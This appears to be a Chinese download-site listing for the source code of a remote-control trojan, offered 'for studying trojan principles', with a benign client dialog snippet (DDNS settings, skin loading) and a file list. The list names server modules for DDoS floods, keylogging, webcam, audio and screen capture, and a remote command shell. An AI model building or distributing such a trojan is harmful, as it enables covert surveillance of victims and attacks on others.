资源简介
开源木马的源代码,可以下来研究基本的木马原理.
代码片段和文件信息
// 3322Dlg.cpp : implementation file
//
#include “stdafx.h“
#include “3322Dlg.h“
#include
#include
#include “ClientDlg.h“
#pragma comment(lib“WS2_32“)
#pragma comment (lib“Wininet.lib“)
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// C3322Dlg dialog
C3322Dlg::C3322Dlg(CWnd* pParent /*=NULL*/CClientDlg* pClientDlg /*=NULL*/)
: CDialog(C3322Dlg::IDD pParent)
{
//{{AFX_DATA_INIT(C3322Dlg)
m_strDDNS = _T(““);
m_strPWD = _T(““);
m_strUser = _T(““);
//}}AFX_DATA_INIT
m_pClientDlg= pClientDlg;
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINframe);
m_hBKBrush = CreateSolidBrush(MAIN_frame_BK_COLOR);
}
void C3322Dlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(C3322Dlg)
DDX_Control(pDX IDC_EDIT_USER m_editUser);
DDX_Control(pDX IDC_EDIT_PWD m_editPWD);
DDX_Control(pDX IDC_EDIT_DDNS m_editDDNS);
DDX_Control(pDX IDC_BTN_UPDATE m_btnUpdate);
DDX_Control(pDX IDC_COMBO_IP m_cmbIP);
DDX_Text(pDX IDC_EDIT_DDNS m_strDDNS);
DDX_Text(pDX IDC_EDIT_PWD m_strPWD);
DDX_Text(pDX IDC_EDIT_USER m_strUser);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(C3322Dlg CDialog)
//{{AFX_MSG_MAP(C3322Dlg)
ON_BN_CLICKED(IDC_BTN_UPDATE OnBtnUpdate)
ON_WM_CTLCOLOR()
ON_WM_DESTROY()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// C3322Dlg message handlers
BOOL C3322Dlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon
InitComboBox();
InitLocalIP();
ChangeSkin(m_pClientDlg->m_emSkinType);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
// Change Skin
BOOL C3322Dlg::ChangeSkin(E_SKIN_TYPE emSkinType)
{
CString strSkinPath;
CValidFunction::GetWorkPath(strSkinPath);
CString strSkinFile;
if(emSkinType == E_SKIN_base)
strSkinFile = strSkinPath + “\\skin\\baseSkin\\theme.ini“;
else if(emSkinType == E_SKIN_XP)
strSkinFile = strSkinPath + “\\skin\\XpSkin\\theme.ini“;
else if(emSkinType == E_SKIN_NEO)
strSkinFile = strSkinPath + “\\skin\\NeoSkin\\theme.ini“;
else
strSkinFile = strSkinPath + “\\skin\\baseSkin\\theme.ini“;
strSkinFile = CValidFunction::LongPathToShort(strSkinFile);
return SetSkin( strSkinFile );
}
// Change Skin
BOOL C3322Dlg::SetSkin(CString strSkinFile)
{
BOOL bRes = TRUE;
bRes &= m_skinWin.LoadSkin( strSkinFile );
bRes &= m_skinWin.InstallSkin( this );
SetWindowPos( 0 0 0 0 0 SWP_NOSIZE | SWP_NOMOVE |SWP_frameCHANGED );
return bRes;
}
BOOL C3322Dlg::InitComboBox()
{
m_cmbIP.SetComboBitmap(IDB_COMBO_LEFTIDB_
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1808 2008-06-15 00:24 守候远控源代码\守候远控源代码\说明.txt
文件 8280 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSICMPThread.cpp
文件 1021 2008-05-09 14:56 守候远控源代码\守候远控源代码\Server\DDOSICMPThread.h
文件 5962 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSSYNThread.cpp
文件 1024 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSSYNThread.h
文件 7382 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSTCPThread.cpp
文件 903 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSTCPThread.h
文件 5731 2008-05-09 15:00 守候远控源代码\守候远控源代码\Server\DDOSUDPThread.cpp
文件 1047 2008-05-09 14:59 守候远控源代码\守候远控源代码\Server\DDOSUDPThread.h
文件 23169 2008-05-16 11:31 守候远控源代码\守候远控源代码\Server\DealCMDThread.cpp
文件 2253 2008-05-10 10:18 守候远控源代码\守候远控源代码\Server\DealCMDThread.h
文件 2733 2008-05-07 15:40 守候远控源代码\守候远控源代码\Server\KeyLogManager.cpp
文件 853 2008-05-07 14:54 守候远控源代码\守候远控源代码\Server\KeyLogManager.h
文件 3343 2008-03-30 09:13 守候远控源代码\守候远控源代码\Server\NetProtocolThread.cpp
文件 897 2008-03-16 14:58 守候远控源代码\守候远控源代码\Server\NetProtocolThread.h
文件 4853 2008-05-17 20:21 守候远控源代码\守候远控源代码\Server\ReceiveFileThread.cpp
文件 1378 2008-03-27 20:52 守候远控源代码\守候远控源代码\Server\ReceiveFileThread.h
文件 534 2007-05-11 14:02 守候远控源代码\守候远控源代码\Server\Resource.h
文件 5077 2008-04-08 15:51 守候远控源代码\守候远控源代码\Server\SendAudioThread.cpp
文件 1091 2008-04-08 15:24 守候远控源代码\守候远控源代码\Server\SendAudioThread.h
文件 4705 2008-05-17 16:06 守候远控源代码\守候远控源代码\Server\SendCameraThread.cpp
文件 985 2008-03-30 14:54 守候远控源代码\守候远控源代码\Server\SendCameraThread.h
文件 6599 2008-05-08 10:13 守候远控源代码\守候远控源代码\Server\SendCMDShellThread.cpp
文件 1270 2008-05-05 11:38 守候远控源代码\守候远控源代码\Server\SendCMDShellThread.h
文件 3969 2008-03-30 16:23 守候远控源代码\守候远控源代码\Server\SendFileThread.cpp
文件 1014 2008-03-27 21:46 守候远控源代码\守候远控源代码\Server\SendFileThread.h
文件 6057 2008-05-16 11:33 守候远控源代码\守候远控源代码\Server\SendScreenThread.cpp
文件 1092 2008-05-16 11:30 守候远控源代码\守候远控源代码\Server\SendScreenThread.h
文件 892 2008-05-17 16:41 守候远控源代码\守候远控源代码\Server\Server.clw
文件 2806 2008-04-08 09:57 守候远控源代码\守候远控源代码\Server\Server.cpp
............此处省略254个文件信息
评论
共有 条评论